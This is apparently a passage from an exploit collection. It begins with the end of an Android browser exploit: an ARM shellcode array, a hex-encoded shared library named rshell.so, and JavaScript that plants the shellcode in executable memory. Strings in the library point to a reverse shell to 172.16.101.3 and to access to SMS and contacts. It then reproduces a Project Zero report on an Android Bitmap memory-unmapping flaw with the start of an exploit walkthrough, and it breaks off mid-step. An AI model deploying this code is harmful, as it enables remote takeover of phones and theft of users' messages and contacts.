c0,0xcd,0xe5,0x5f,0xc0,0xa0,0xe3,0x4a,0xe0,0xcd,0xe5,0x64,0xe0,0xa0,0xe3,0x4b,0x70,0xcd,0xe5,0xad,0x60,0xcd,0xe5,0xaf,0x00,0xcd,0xe5,0xb1,0x80,0xcd,0xe5,0x69,0x80,0xa0,0xe3,0xb2,0x00,0xcd,0xe5,0xb3,0x70,0xcd,0xe5,0xb9,0x60,0xcd,0xe5,0x82,0x20,0xcd,0xe5,0x85,0x20,0xcd,0xe5,0x8a,0x20,0xcd,0xe5,0x87,0x90,0xcd,0xe5,0x8f,0x90,0xcd,0xe5,0x4c,0x90,0xcd,0xe5,0xb4,0x90,0xcd,0xe5,0x80,0x30,0xcd,0xe5,0x88,0x30,0xcd,0xe5,0x48,0x30,0xcd,0xe5,0xac,0x30,0xcd,0xe5,0xb0,0x30,0xcd,0xe5,0xb8,0x30,0xcd,0xe5,0xae,0x10,0xcd,0xe5,0xba,0x10,0xcd,0xe5,0xbb,0x00,0xcd,0xe5,0xb0,0x03,0xd5,0xe1,0xbe,0x20,0xcd,0xe5,0xbf,0xa0,0xcd,0xe5,0xc6,0xa0,0xcd,0xe5,0x61,0xa0,0xa0,0xe3,0xc8,0x70,0xcd,0xe5,0x09,0x00,0x50,0xe1,0xcb,0x60,0xcd,0xe5,0xcc,0x60,0xcd,0xe5,0xce,0x20,0xcd,0xe5,0x64,0x20,0xa0,0xe3,0xd3,0x70,0xcd,0xe5,0x6c,0x70,0xa0,0xe3,0xd6,0x60,0xcd,0xe5,0xda,0x60,0xcd,0xe5,0x6f,0x60,0xa0,0xe3,0xc9,0xc0,0xcd,0xe5,0x08,0xc0,0x9d,0xe5,0xbc,0x30,0xcd,0xe5,0xbd,0xe0,0xcd,0xe5,0xc0,0x90,0xcd,0xe5,0xc4,0x30,0xcd,0xe5,0xc5,0x80,0xcd,0xe5,0xc7,0x80,0xcd,0xe5,0xca,0xa0,0xcd,0xe5,0xcd,0xa0,0xcd,0xe5,0xcf,0x90,0xcd,0xe5,0xd0,0x30,0xcd,0xe5,0xd1,0x20,0xcd,0xe5,0xd2,0xa0,0xcd,0xe5,0xd4,0xa0,0xcd,0xe5,0xd5,0x30,0xcd,0xe5,0xd7,0x10,0xcd,0xe5,0xd8,0x70,0xcd,0xe5,0xd9,0x30,0xcd,0xe5,0xdb,0x60,0xcd,0xe5,0xdc,0x90,0xcd,0xe5,0xb1,0x00,0x00,0x0a,0x48,0x10,0x8d,0xe2,0xc4,0x60,0x8d,0xe2,0x14,0x70,0x9d,0xe5,0x80,0x20,0x8d,0xe2,0x88,0x30,0x8d,0xe2,0x14,0x90,0x8d,0xe5,0x24,0x90,0x8d,0xe5,0x09,0x80,0xa0,0xe1,0xac,0x00,0x8d,0xe2,0x0c,0x10,0x8d,0xe5,0xb8,0xe0,0x8d,0xe2,0xd0,0x10,0x8d,0xe2,0x38,0x60,0x8d,0xe5,0x03,0xa0,0xa0,0xe1,0x0c,0x60,0xa0,0xe1,0x3c,0x90,0x8d,0xe5,0x1c,0x90,0x8d,0xe5,0x02,0x90,0xa0,0xe1,0x20,0x00,0x8d,0xe5,0x28,0xe0,0x8d,0xe5,0x40,0x10,0x8d,0xe5,0x44,0x40,0x8d,0xe5,0x00,0x40,0x97,0xe5,0x09,0x10,0xa0,0xe1,0x04,0x40,0x86,0xe0,0x04,0x00,0xa0,0xe1,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x1c,0x70,0x8d,0x05,0x1e,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0x0a,0x10,0xa0,0xe1,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x24,0x70,0x8d,0x05,0x18,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0x48,0x10,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x13,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0xac,0x10,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x14,0x70,0x8d,0x05,0x0d,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0xb8,0x10,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x3c,0x70,0x8d,0x05,0x07,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0xc4,0x10,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x02,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0xd0,0x10,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0xb0,0xc3,0xd5,0xe1,0x01,0x80,0x88,0xe2,0x28,0x70,0x87,0xe2,0x0c,0x00,0x58,0xe1,0xd3,0xff,0xff,0xba,0x44,0x40,0x9d,0xe5,0x3c,0x90,0x9d,0xe5,0x1c,0xa0,0x9d,0xe5,0x14,0x20,0x9d,0xe5,0x24,0x80,0x9d,0xe5,0x14,0xe0,0x9d,0xe5,0x14,0xc0,0x92,0xe5,0x10,0x70,0x98,0xe5,0x10,0x30,0x9a,0xe5,0x10,0x60,0x9e,0xe5,0xac,0x21,0xb0,0xe1,0x07,0x70,0x85,0xe0,0x03,0x30,0x85,0xe0,0x06,0x60,0x85,0xe0,0x1b,0x00,0x00,0x0a,0x00,0x00,0xa0,0xe3,0x1c,0x90,0x8d,0xe5,0x14,0x80,0x9d,0xe5,0x00,0x90,0xa0,0xe1,0x14,0xa0,0x8d,0xe5,0x06,0xa0,0xa0,0xe1,0x03,0x60,0xa0,0xe1,0x0c,0x50,0x8d,0xe5,0x10,0x50,0x9d,0xe5,0x10,0xb0,0x8d,0xe5,0x04,0x10,0x9a,0xe5,0x00,0x00,0xe0,0xe3,0x01,0x90,0x89,0xe2,0x00,0xb0,0x9a,0xe5,0x08,0xa0,0x8a,0xe2,0x51,0x24,0xef,0xe7,0x02,0xe2,0x96,0xe7,0x0e,0x10,0x87,0xe0,0x35,0xff,0x2f,0xe1,0x0b,0x00,0x84,0xe7,0x14,0x10,0x98,0xe5,0xa1,0x01,0x59,0xe1,0xf2,0xff,0xff,0x3a,0x0c,0x50,0x9d,0xe5,0x06,0x30,0xa0,0xe1,0x10,0xb0,0x9d,0xe5,0x1c,0x90,0x9d,0xe5,0x14,0xa0,0x9d,0xe5,0x14,0x20,0x99,0xe5,0x10,0xc0,0x99,0xe5,0xa2,0x21,0xb0,0xe1,0x00,0x10,0xa0,0x13,0x0c,0xc0,0x85,0xe0,0x01,0x00,0xa0,0x11,0x0c,0x00,0x00,0x0a,0x01,0x20,0xa0,0xe1,0x01,0x00,0x80,0xe2,0x0c,0xe0,0xb2,0xe7,0x08,0x10,0x81,0xe2,0x04,0x20,0x92,0xe5,0x52,0x24,0xef,0xe7,0x02,0x22,0x83,0xe0,0x04,0x20,0x92,0xe5,0x04,0x20,0x82,0xe0,0x04,0x20,0x8e,0xe7,0x14,0xe0,0x99,0xe5,0xae,0x01,0x50,0xe1,0xf2,0xff,0xff,0x3a,0x14,0x00,0x9a,0xe5,0x37,0x0b,0x9f,0xed,0x20,0x22,0xb0,0xe1,0x1e,0x0b,0x8d,0xed,0x03,0x90,0xa0,0x11,0x00,0x80,0xa0,0x13,0x78,0x60,0x8d,0x12,0x04,0x00,0x00,0x1a,0x0d,0x00,0x00,0xea,0x14,0x10,0x9a,0xe5,0x10,0x90,0x89,0xe2,0x21,0x02,0x58,0xe1,0x09,0x00,0x00,0x2a,0x00,0x30,0x99,0xe5,0x06,0x10,0xa0,0xe1,0x01,0x80,0x88,0xe2,0x03,0x00,0x87,0xe0,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0xf4,0xff,0xff,0x1a,0x04,0x70,0x99,0xe5,0x07,0x60,0x84,0xe0,0x01,0x00,0x00,0xea,0xcc,0x6c,0x0c,0xe3,0x16,0x68,0xdf,0xe7,0x05,0x30,0xa0,0xe1,0x00,0x40,0x8d,0xe5,0x70,0x10,0x8d,0xe2,0xe0,0x20,0x8d,0xe2,0x2c,0x40,0x9d,0xe5,0x02,0x00,0xa0,0xe3,0x34,0xff,0x2f,0xe1,0x18,0x50,0x9d,0xe5,0x08,0x00,0x85,0xe2,0x36,0xff,0x2f,0xe1,0x4f,0xdf,0x8d,0xe2,0xf0,0x8f,0xbd,0xe8,0x54,0x10,0x9f,0xe5,0x7f,0x45,0x04,0xe3,0x4c,0x46,0x44,0xe3,0x01,0x50,0x8f,0xe0,0x04,0x50,0x85,0xe2,0x04,0x70,0x15,0xe5,0xfa,0x0e,0x57,0xe3,0xfb,0xff,0xff,0x1a,0x00,0x80,0x95,0xe5,0x04,0x00,0x58,0xe1,0xf8,0xff,0xff,0x1a,0x77,0xfe,0xff,0xea,0x00,0x90,0xa0,0xe1,0x14,0x00,0x8d,0xe5,0x00,0xa0,0xa0,0xe1,0x24,0x00,0x8d,0xe5,0x00,0x20,0xa0,0xe1,0x00,0x80,0xa0,0xe1,0x00,0xe0,0xa0,0xe1,0x8d,0xff,0xff,0xea,0x00,0xf0,0x20,0xe3,0x73,0x6f,0x5f,0x6d,0x61,0x69,0x6e,0x00,0x88,0xf7,0xff,0xff,0x00,0xf0,0x20,0xe3,]; var so_str = "7f454c4601010100000000000000000003002800010000000000000034000000442100000000000534002000080028001600150006000000340000003400000034000000000100000001000004000000040000000300000034010000340100003401000013000000130000000400000001000000010000000000000000000000000000000112000001120000050000000010000001000000881e0000882e0000882e00007c010000800100000600000000100000020000008c1e00008c2e00008c2e00002801000028010000060000000400000051e574640000000000000000000000000000000000000000060000000000000001000070c40d0000c40d0000c40d00005800000058000000040000000400000052e57464881e0000882e0000882e0000780100007801000006000000040000002f73797374656d2f62696e2f6c696e6b657200000000000000000000000000000000000001000000000000000000000012000000100000000000000000000000120000001d000000000000000000000012000000340000000000000000000000120000004b00000000000000000000001200000073000000000000000000000012000000870000000000000000000000120000008e00000000000000000000001200000097000000150c00005c010000120008009f000000000000000000000012000000a4000000000000000000000012000000ab000000000000000000000012000000b5000000000000000000000012000000bc000000000000000000000012000000c4000000000000000000000012000000c9000000000000000000000012000000d0000000000000000000000012000000d7000000000000000000000012000000dc000000000000000000000012000000e100000004300000000000001000f1ffe800000004300000000000001000f1fff400000008300000000000001000f1ff005f5f6378615f66696e616c697a65005f5f6378615f617465786974005f5f61656162695f756e77696e645f6370705f707231005f5f61656162695f756e77696e645f6370705f707230005f5a4e37616e64726f69643134416e64726f696452756e74696d65396765744a4e49456e764576005f5f616e64726f69645f6c6f675f7072696e74006d616c6c6f6300736e7072696e746600736f5f6d61696e00666f726b0073797374656d00696e65745f6164647200736f636b657400636f6e6e6563740064757032006d656d7365740065786563766500667265650065786974005f6564617461005f5f6273735f7374617274005f656e64006c6962632e736f006c69626d2e736f006c6962737464632b2b2e736f006c69626d656469616e646b2e736f006c69627574696c732e736f006c696262696e6465722e736f006c69626d656469612e736f006c696273746167656672696768742e736f006c696273746167656672696768745f666f756e646174696f6e2e736f006c6962637574696c732e736f006c6962696e7075742e736f006c6962646c2e736f006c6962616e64726f69645f72756e74696d652e736f00727368656c6c2e736f0000110000001700000011000000140000000d000000000000000c000000050000000f000000000000000e0000000000000007000000150000001200000016000000020000000b00000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000300000008000000090000000a000000060000000000000000000000000000000000000010000000040000000000000013000000882e0000170000000030000017000000c02f000016010000c42f000016020000c82f000016050000cc2f000016060000d02f000016070000d42f000016080000d82f0000160a0000dc2f0000160b0000e02f0000160c0000e42f0000160d0000e82f0000160e0000ec2f0000160f0000f02f000016100000f42f000016110000f82f000016120000fc2f00001613000004e02de504e09fe50ee08fe008f0bee5f829000000c68fe202ca8ce2f8f9bce500c68fe202ca8ce2f0f9bce500c68fe202ca8ce2e8f9bce500c68fe202ca8ce2e0f9bce500c68fe202ca8ce2d8f9bce500c68fe202ca8ce2d0f9bce500c68fe202ca8ce2c8f9bce500c68fe202ca8ce2c0f9bce500c68fe202ca8ce2b8f9bce500c68fe202ca8ce2b0f9bce500c68fe202ca8ce2a8f9bce500c68fe202ca8ce2a0f9bce500c68fe202ca8ce298f9bce500c68fe202ca8ce290f9bce500c68fe202ca8ce288f9bce500c68fe202ca8ce280f9bce500482de904b08de20c309fe503308fe00300a0e1c9ffffeb0088bde86c29000000482de904b08de208d04de208000be508301be5000053e30100000a08301be533ff2fe104d04be20088bde800482de904b08de208d04de208000be528309fe503308fe00300a0e108101be51c309fe503308fe00320a0e1b3ffffeb0030a0e10300a0e104d04be20088bde8b8ffffff0829000008b503689a69904708bd10b50468d4f88440a04710bd0cb413b504ab046853f8042bd4f88c400193a04702b0bde8104002b070470cb413b504ab046853f8042bd4f898400193a04702b0bde8104002b070470cb413b504ab046853f8042bd4f8c8400193a04702b0bde8104002b070470cb413b504ab046853f8042bd4f8d4400193a04702b0bde8104002b070470cb413b504ab046853f8042bd4f8e0400193a04702b0bde8104002b070470cb413b504ab046853f8042bd4f8cc410193a04702b0bde8104002b0704700002de9f04f0746dff878a395b0fa44daf80030581ccaf80000fff7eeeed94904467944fff787ff216805462046d64ad74bd1f8c46129467a447b44b047024629462046fff7cdffd24981460620d14a4b4679447a44fff7d6eecf4920467944fff769ff226883462046cc4b5946d2f8c4c1cb4a7b447a44e0472368804639462046d3f89c52a84703464246c64d59462046fff7a6ffc449074620464ff0000b7d447944fff747ffc14a01462046c04b7a447b44fff744ff024649462046fff745ffbc49064620467944fff734ffba4a01462046ba4b7a447b44fff731ff02463b46cdf800b03146cdf804b02046cdf808b0b34fcdf80cb0fff728ffb249064620467f447944fff716ffaf4a80462b46414620467a44fff713ffac4a2b468146414620467a44fff70bffa94a08904146a94b20467a447b44fff702ffa74a3b460990414620467a44fff7fafea44a0a904146a34b20467a447b44fff7f1fea14a0b904146a14b20467a447b44fff7e8fe9f4a0c9041469e4b20467a447b44fff7dffe9c4a0d9041469c4b20467a447b44fff7d6fe9a4a3b460e90414620467a44fff7cefe974a41460f90964b20467a447b44fff7c5fe4ff40010fff72aee924a4ff400110746daf800307a44fff728ee0546314620464a46fff7c7fe002800f0c4808a48cdf814b08a497844794412901391c5f500117819129a059b4ff0000afff70eee059a3146804605442046531c099a0593fff7b8fe7f49079006207e4a079b79447a44fff7eeed7c487d497844794410901191079a924580f28e80baf1000f05ddb5f5001f02da2c237b55013531460a9a53462046fff778fe0690206800220699d0f8a43220469847814631460b9a069b2046fff787fe83460c9a20465b463146fff780fe04285bd8dfe800f0521803294d0031460d9a5b462046fff791fe07ee900a5f4a7819c5f500114b467a44f7eee70acded000bfff7b0ed40e00e9a5b4620463146fff76dfe574acde900014b467819c5f500117a44fff7a0ed2fe031460f9a5b462046fff72ffe2168844600222046d1f8a4326146cdf810c0984783460090c5f50011119a4b467819fff786ed226880462046ddf810c0d2f8a8325a46614698470ce07819c5f50011109a03e0139a7819c5f500114b46fff76eed804620684a46454406990af1010ad0f8a832204698476de720463146089afff703fe00287ff444af30492b460620304a79447a44fff746ed384615b0bde8f08f14280000180600001d0600002e060000320600003806000041060000410600003906000052070000390600004a0600005b060000690600007b0600007f06000020070000ca060000d2060000d2060000cd060000da060000ce060000e2060000ef060000f5060000fb060000f0060000f7060000ec060000f2060000e7060000e1060000e5060000cf060000bb060000f1060000620400008a060000a70600009f06000011060000ed05000012030000710500002de9f0410546474c8cb00620464a7c4421467a44fff7dcec444a21462b4606207a44fff7d6ec6b6921460620404a00932b697a44fff7ccec3e487844fff7c6fd07463d487844fff7c1fd0646fff7d2ec431c06d1394a214606207a44fff7b8ec00e050b136487844fff7caec35487844fff7c6ec0cb0bde8f081334d40f62c102146324a4ff00208009006207d442b467a44fff79eec42f609412846adf81080adf81210fff7b2ec0590012106224046fff7b2ec04a910220546fff7b4ec28b9234a062021467a44fff782ecdff8848028460021fff7acec28460121fff7a8ec002428460221f84408adfff7a2ec21461022cdf8088028460394fff7a0ec164a02a9404609970a967a4408922a46fff79cec3846fff79eec3046fff79cec2046fff79eec40020000a8040000ab040000b4040000c4040000c8040000da040000da040000f304000000050000e8040000d3040000c8040000b504000008b10181b0b000840000000003b10181b00cb1a80000000003b10181b00cb1a80000000003b10181b00cb1a80000000003b10181b00cb1a80000000003b10181b00cb1a80000000003b10181b00cb1a80000000050f9ff7fa8ffff7f52f9ff7fb0b0a88056f9ff7fa4ffff7f6cf9ff7fa8ffff7f82f9ff7facffff7f98f9ff7fb0ffff7faef9ff7fb4ffff7fc4f9ff7fb8ffff7fdcf9ff7fb0af148008feff7fb0ac0b805cffff7f01000000616e64726f69642f6170702f41637469766974795468726561640063757272656e744170706c69636174696f6e0028294c616e64726f69642f6170702f4170706c69636174696f6e3b006578706c6f6974006170706c69636174696f6e2069732025700a00616e64726f69642f6e65742f55726900706172736500284c6a6176612f6c616e672f537472696e673b294c616e64726f69642f6e65742f5572693b00616e64726f69642f636f6e74656e742f436f6e746578745772617070657200676574436f6e74656e745265736f6c7665720028294c616e64726f69642f636f6e74656e742f436f6e74656e745265736f6c7665723b00616e64726f69642f636f6e74656e742f436f6e74656e745265736f6c76657200717565727900284c616e64726f69642f6e65742f5572693b5b4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f537472696e673b294c616e64726f69642f64617461626173652f437572736f723b00616e64726f69642f64617461626173652f437572736f72006d6f7665546f46697273740028295a006d6f7665546f4e65787400676574436f6c756d6e436f756e740028294900676574436f6c756d6e4e616d65002849294c6a6176612f6c616e672f537472696e673b00676574436f6c756d6e496e64657800284c6a6176612f6c616e672f537472696e673b29490067657454797065002849294900676574466c6f61740028492946006765744c6f6e67002849294a00676574537472696e6700636c6f7365002829560070726f766964657225643d000a726f772025643a00636f6c756d6e436f756e742069732025640a0025733d25660025733d256c6c640025733d25730025733d424c4f420025733d4e554c4c006c656e2069732025640a00656e7465722073656e646970632e736f006172726179206275666665722061646472657373206174202570006e632066696c652061742025702c6c656e20697320256400636f6e74656e743a2f2f736d7300636f6e74656e743a2f2f636f6d2e616e64726f69642e636f6e74616374732f636f6e746163747300666f726b206661696c6564006c6f67202d74206578706c6f69742060706d206c697374207061636b61676560006c6f67202d74206578706c6f697420606c73202e2f600069702069732025732c706f7274206973202564003137322e31362e3130312e3300636f6e6e656374207375636365737366756c6c79002f73797374656d2f62696e2f736800504154483d2f73797374656d2f62696e3a2f73797374656d2f7862696e3a2f62696e3a2f7573722f62696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008006000003000000b42f00000200000080000000170000002c0500001400000011000000110000001c05000012000000100000001300000008000000faffff6f0200000006000000480100000b0000001000000005000000b80200000a000000bb010000040000007404000001000000f900000001000000010100000100000009010000010000001601000001000000250100000100000031010000010000003e010000010000004a010000010000005c010000010000007901000001000000860100000100000092010000010000009b0100000e000000b10100001a000000882e00001c000000040000001e00000008000000fbffff6f01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac05000000300000004743433a2028474e552920342e3800040000000900000004000000474e5500676f6c6420312e3131000000413d00000061656162690001330000000541524d20763700060a0741080109020a030c011102120414011501170318011a021b031e0622012a012c024403727368656c6c2e736f0000006158a70b002e7368737472746162002e696e74657270002e64796e73796d002e64796e737472002e68617368002e72656c2e64796e002e72656c2e706c74002e74657874002e41524d2e6578746162002e41524d2e6578696478002e726f64617461002e66696e695f6172726179002e64796e616d6963002e676f74002e64617461002e627373002e636f6d6d656e74002e6e6f74652e676e752e676f6c642d76657273696f6e002e41524d2e61747472696275746573002e676e755f64656275676c696e6b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000010000000200000034010000340100001300000000000000000000000100000000000000130000000b00000002000000480100004801000070010000030000000100000004000000100000001b0000000300000002000000b8020000b8020000bb010000000000000000000001000000000000002300000005000000020000007404000074040000a8000000020000000000000004000000040000002900000009000000020000001c0500001c05000010000000020000000000000004000000080000003200000009000000020000002c0500002c0500008000000002000000070000000400000008000000360000000100000006000000ac050000ac050000d4000000000000000000000004000000000000003b00000001000000060000008006000080060000f006000000000000000000000400000000000000410000000100000002000000700d0000700d000054000000000000000000000004000000000000004c0000000100007082000000c40d0000c40d000058000000080000000000000004000000080000005700000001000000320000001c0e00001c0e0000e5030000000000000000000001000000010000005f0000000f00000003000000882e0000881e000004000000000000000000000004000000000000006b00000006000000030000008c2e00008c1e00002801000003000000000000000400000008000000740000000100000003000000b42f0000b41f00004c00000000000000000000000400000000000000790000000100000003000000003000000020000004000000000000000000000004000000000000007f000000080000000300000004300000042000000400000000000000000000000400000000000000840000000100000030000000000000000420000010000000000000000000000001000000010000008d000000070000000000000000000000142000001c00000000000000000000000400000000000000a4000000030000700000000000000000302000003e00000000000000000000000100000000000000b40000000100000000000000000000006e2000001000000000000000000000000100000000000000010000000300000000000000000000007e200000c300000000000000000000000100000000000000";function write_shellcode(dlsym_addr,buffer){ //ldr r0,[pc,4]//0xe59f0004 //ldr r1,[pc,4]//0xe59f1004 //b shellcode;//0xea000001 //dlopen_addr//normalArrayBufferBackingStore //dlsym_addr //shellcode //var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr]; var stub=[0xe59f0004,0xe59f1004,0xea000001,normalArrayBufferBackingStore,normalArrayBufferLength]; var dv = get_dateview(buffer); for(var i=0;i<stub.length;i++){ get_dateview(buffer).setUint32(i*4,stub[i],true); } dv =get_dateview(buffer+stub.length*4); for(var i=0;i<shellcode.length;i++){ dv.setUint8(i,shellcode[i]); } return stub.length*4+shellcode.length; } function backup_original_code(start_address){ var backup_arr = []; for(var i=0;i<shellcode.length+4096;i++){ backup_arr[i]=get_dateview(start_address).getUint8(i); } return backup_arr; } function restore_original_code(start_address,backup_arr){ for(var i=0;i<shellcode.length+4096;i++){ get_dateview(start_address).setUint8(i,backup_arr[i]); } } var backup_arr=backup_original_code(rwxAddress); var writed_len = write_shellcode(dlsym_addr,rwxAddress); var args_view = new DataView(normalArrayBuffer,0,32); var so_file_view = new DataView(normalArrayBuffer,4096); var js_view = new DataView(normalArrayBuffer,0x100000); args_view.setUint32(0,dlsym_addr+12,true); args_view.setUint32(4,dlsym_addr,true); args_view.setUint32(8,rwxAddress,true); args_view.setUint32(12,writed_len,true); args_view.setUint32(16,normalArrayBufferBackingStore+4096,true); args_view.setUint32(20,so_str.length/2,true); //args_view.setUint32(24,normalArrayBufferBackingStore+0x100000,true); //args_view.setUint32(28,js_str.length,true); log("length is "+so_str.length); for(var i=0;i<so_str.length;i+=2){ var value = so_str.substr(i,2); value = "0x"+value; so_file_view.setUint8(i/2,parseInt(value)); } huge_func({}); restore_original_code(rwxAddress,backup_arr); /*setInterval(function () { document.getElementById("message").innerHTML= String.fromCharCode.apply(null, new Uint8Array(normalArrayBuffer,128,3000)); //log(String.fromCharCode.apply(null, new Uint8Array(normalArrayBuffer,128,1024))); }, 1000);*/ </script> </html>
  24. Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=928 Bitmap objects can be passed between processes by flattening them to a Parcel in one process and un-flattening them in another. In order to conserve memory, there exists a code path which allows Bitmaps to be shared between processes by providing an ashmem-mapped file descriptor containing the Bitmap's raw pixel data. The android.graphics.Bitmap class illegally assumes that the size of the ashmem region provided by the user matches the actual underlying size of the Bitmap. When un-flattening a Bitmap from a Parcel, the class first calculates the assumed size of the Bitmap from the user-provided dimensions. Then, it calls Parcel::readBlob in order to map the given ashmem file descriptor to the process's VAS. This mapping is done using the size calculated from the Bitmap's dimensions (and not the size of the underlying ashmem descriptor). Later, the Bitmap constructor internally stores the ashmem file descriptor and mapped memory address, along with the size of the mapping. However, instead of using the same calculated size which was used when mapping the shared memory region, it accidentally queries the ashmem region for its real size, like so: mPixelStorage.ashmem.size = ashmem_get_size_region(fd); This size can be completely controlled by an attacker (simply by calling ASHMEM_SET_SIZE), and may be arbitrary large. Later, when the Bitmap is GC-ed, the destructor triggers a call to Bitmap::doFreePixels which unmaps the Bitmap's data, by calling: munmap(mPixelStorage.ashmem.address, mPixelStorage.ashmem.size); This means that an attacker can cause the size of the unmapped region to be arbitrarily large, thus unmapping crucial regions in the remote process's VAS. One example of how this can be exploited is by unmapping the remote process's heap (which is directly after the mmap-ed ranges on the device I was working on). Then, the attacker can resend a large Bitmap which will be mapped over the (previously unmapped) heap, thus allowing the attacker to effectively replace the remote process's heap with controlled data. I've attached a short PoC which crashes system_server by repeatedly unmaps large memory regions. Suggested Fix: Store the calculated size in mPixelStorage.ashmem.size instead of calling ashmem_get_size_region. Here's a brief run-down of the exploit: 1. The exploit begins by calling AudioService.unloadSoundEffects in order to close the SoundPool instance in system_server. This also closes any auxiliary threads (SoundPool, SoundPoolThread, etc.) that are associated with this pool. 2. Now, we start "massaging" system_server's VAS. This is done by creating multiple "Notification" objects which contain Bitmaps that are of exactly the same size at a thread's stack, when created by the ART runtime. As the bitmaps are allocated by using "mmap", they will simply inhabit the highest memory address between mm->mmap_base and TASK_SIZE which contains a sufficiently large contiguous hole. Causing many allocations of the aforementioned size will ensure that any "holes" of this size in higher addresses are filled, and the remaining "mmap"-s of this size will be contiguous. 3. Now that we are certain allocations of size THREAD_SIZE are contiguous, we replace one of notifications created in the previous stage with a notification containing a small (or empty) bitmap, and immediately send multiple dummy transactions to system_server in order to force garbage collection of the freed bitmap object. This will enable us to open up a "hole" in the contiguous allocations, like so: <--low high--> 